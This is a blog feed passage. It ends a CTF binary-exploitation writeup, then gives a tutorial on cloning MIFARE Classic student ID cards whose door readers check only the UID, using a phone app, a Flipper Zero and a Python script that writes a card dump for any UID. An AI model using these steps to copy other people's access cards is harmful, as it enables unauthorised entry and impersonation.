&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Use gdb/objdump to find the address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; 0x401176&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// In gdb: p win&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;========================================================================================================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;QUIZ COMPLETE!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;========================================================================================================&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;🎉 PERFECT SCORE! 🎉&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;You got 13/13 questions correct!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Flag:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Links for this problem:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ctf101.org/binary-exploitation/relocation-read-only/&quot;&gt;What is RELOR&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tech-blog.cymetrics.io/posts/crystal/pwn-intro-2/&quot;&gt;What is ROP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;That’s the writeup. Writeups are for people who don’t know—so if you don’t understand, feel free to email me. But before emailing, at least know how to use Linux and have finished reading all the links in this article, &lt;del&gt;I don’t believe anyone can finish and still not understand&lt;/del&gt;. The next CTF is My First CTF—welcome to join our team.&lt;/p&gt;</content:encoded></item><item><title>What to Do When You Lose Your Student ID?</title><link>https://www.windson.cc/en/posts/copy-nfc-card/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/copy-nfc-card/</guid><description>Remember when it was just a bit after the new semester started, I passed by the basketball court one day and found a student ID on the ground. So I stopped, looked down—student number 4113…053, seemed</description><pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Remember when it was just a bit after the new semester started, I passed by the basketball court one day and found a student ID on the ground. So I stopped, looked down—student number 4113…053, seemed like someone from our department… 10X… Wait, this number, this face, &lt;strong&gt;this is my roommate!&lt;/strong&gt; So I picked it up and brought it back to him. But if I hadn’t found it, he would’ve been the weird case who lost their student ID within a month of starting school. &lt;del&gt;Though that’s basically what happened anyway.&lt;/del&gt; So what do you do if you lose your student ID? Feel free to find &lt;a href=&quot;https://www.iach.cc&quot;&gt;Each&lt;/a&gt; or me—we’ll sell you one &lt;a href=&quot;https://ckhung0.blogspot.com/2014/10/barrier-of-exit.html&quot;&gt;five yuan cheaper than the school price&lt;/a&gt;. Just today we found a way to copy the UID.&lt;/p&gt;
&lt;h2 id=&quot;background-knowledge&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#background-knowledge&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Background Knowledge&lt;/h2&gt;
&lt;p&gt;After some testing, we deduced the school’s card reader only reads the UID. As long as the Sector isn’t &lt;code&gt;???&lt;/code&gt; and you have proper permissions, the door opens, regardless of whether you’re using the original student ID. The school’s student ID uses MIFARE Classic 1K. Each sector has four blocks storing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UID (unique identifier)&lt;/li&gt;
&lt;li&gt;BCC (check digit)&lt;/li&gt;
&lt;li&gt;Manufacturer data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It looks like this. The first four groups in the first row are the UID, followed by the check bit—which is actually XOR of each group of the UID.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 0: he er is id bc 08 04 00 62 63 64 65 66 67 68 69&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 3: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The remaining parts are all padded with 0, continuing to Block 63.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 4: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 5: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 6: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Block 7: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we know the structure, how do we copy it? Just replace the UID with your card’s UID, get a blank card, and write it in!!&lt;/p&gt;
&lt;h2 id=&quot;phone&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#phone&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Phone&lt;/h2&gt;
&lt;p&gt;We found this &lt;a href=&quot;https://github.com/ikarus23/MifareClassicTool&quot;&gt;project&lt;/a&gt;, specifically for copying this type of card, and you can freely write the UUID. There are also tools to calculate BCC to make rewriting easier—super handy. But the prerequisite is you need a blank card. Steps to copy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Click &lt;code&gt;READ TAG&lt;/code&gt;, check both &lt;code&gt;extended-std.keys&lt;/code&gt; and &lt;code&gt;std.keys&lt;/code&gt;—those are dictionaries for decryption.&lt;/li&gt;
&lt;li&gt;Then you’ll go to &lt;code&gt;dump editor&lt;/code&gt;. Remember your UID—mentioned earlier where it is.&lt;/li&gt;
&lt;li&gt;Back to main menu, find &lt;code&gt;BCC Calculator&lt;/code&gt; in &lt;code&gt;TOOLS&lt;/code&gt;. Enter your UID and remember the calculated value.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;EDIT DUMP FILE&lt;/code&gt; to rewrite sector contents, save it.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WRITE TAG&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That’s it—you’ve copied a card.&lt;/p&gt;
&lt;h2 id=&quot;flipper-zero&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#flipper-zero&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Flipper Zero&lt;/h2&gt;
&lt;p&gt;Before talking about how to use it, you need a &lt;a href=&quot;https://www.iach.cc/start-flipper/&quot;&gt;Flipper Zero&lt;/a&gt;. Flipper Zero has several ways to play with this feature.&lt;/p&gt;
&lt;h3 id=&quot;nfc-maker--nfc-magic&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#nfc-maker--nfc-magic&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;NFC Maker + NFC Magic&lt;/h3&gt;
&lt;p&gt;Create using &lt;code&gt;Text Note&lt;/code&gt; in &lt;code&gt;NFC Maker&lt;/code&gt;. What you write doesn’t matter, but &lt;code&gt;Tag type&lt;/code&gt; must be MIFARE Classic 1K UID 4. Then enter your UID and Flipper will create an NFC tag. Next, write this Tag into a blank card. Find &lt;code&gt;NFC Magic&lt;/code&gt;, place the card to be written on it, keep pressing &lt;code&gt;ok&lt;/code&gt; until you see your little dolphin tell you Success.&lt;/p&gt;
&lt;h3 id=&quot;modify-nfc-file--nfc-magic&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#modify-nfc-file--nfc-magic&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Modify NFC File + NFC Magic&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Student ID&lt;/strong&gt;&lt;br&gt;
Earlier we mentioned the school card reader only reads UID. This means as long as you change both the UID and check bit to the correct ones, you’re done. Here’s the automation script:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; calculate_bcc&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(uid_bytes):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;    &quot;&quot;&quot;Calculate Block Check Character (BCC) using XOR&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    bcc &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid_bytes:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        bcc &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;^=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; b&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; bcc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; generate_nfc&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(uid_hex):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Clean input string and convert to bytes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    uid_hex &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid_hex.replace(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;).upper()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(uid_hex) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        raise&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; ValueError&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;UID must be exactly 4 bytes (8 hex characters).&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    uid_bytes &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; bytes&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.fromhex(uid_hex)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    bcc &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; calculate_bcc(uid_bytes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Format UID to match output format (e.g., &quot;xx xx xx xx&quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    uid_str_spaced &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.join([&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; uid_bytes])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Combine Block 0: UID (4 bytes) + BCC (1 byte) + Manufacturer data (11 bytes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    block_0 &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid_str_spaced&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;bcc&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;:02X}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; 04 00 62 63 64 65 66 67 68 69&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Generate all 64 blocks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    blocks &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;            blocks.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Block &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;block_0&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        elif&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; (i &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;            # Last block of each sector is Sector Trailer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;            blocks.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Block &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        else&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;            # Blank data blocks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;            blocks.append(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Block &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Combine complete file content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    header &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Filetype: Flipper NFC device&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Version: 4&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Device type: Mifare Classic&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;UID: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;uid_str_spaced&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;ATQA: 00 04&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;SAK: 08&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Mifare Classic type: 1K&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;        &quot;Data format version: 2&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.join(header &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; blocks)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; __name__&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(sys.argv) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Usage: python3 generate_nfc.py &amp;#x3C;UID&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Example: python3 generate_nfc.py &apos;xx xx xx xx&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        sys.exit(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
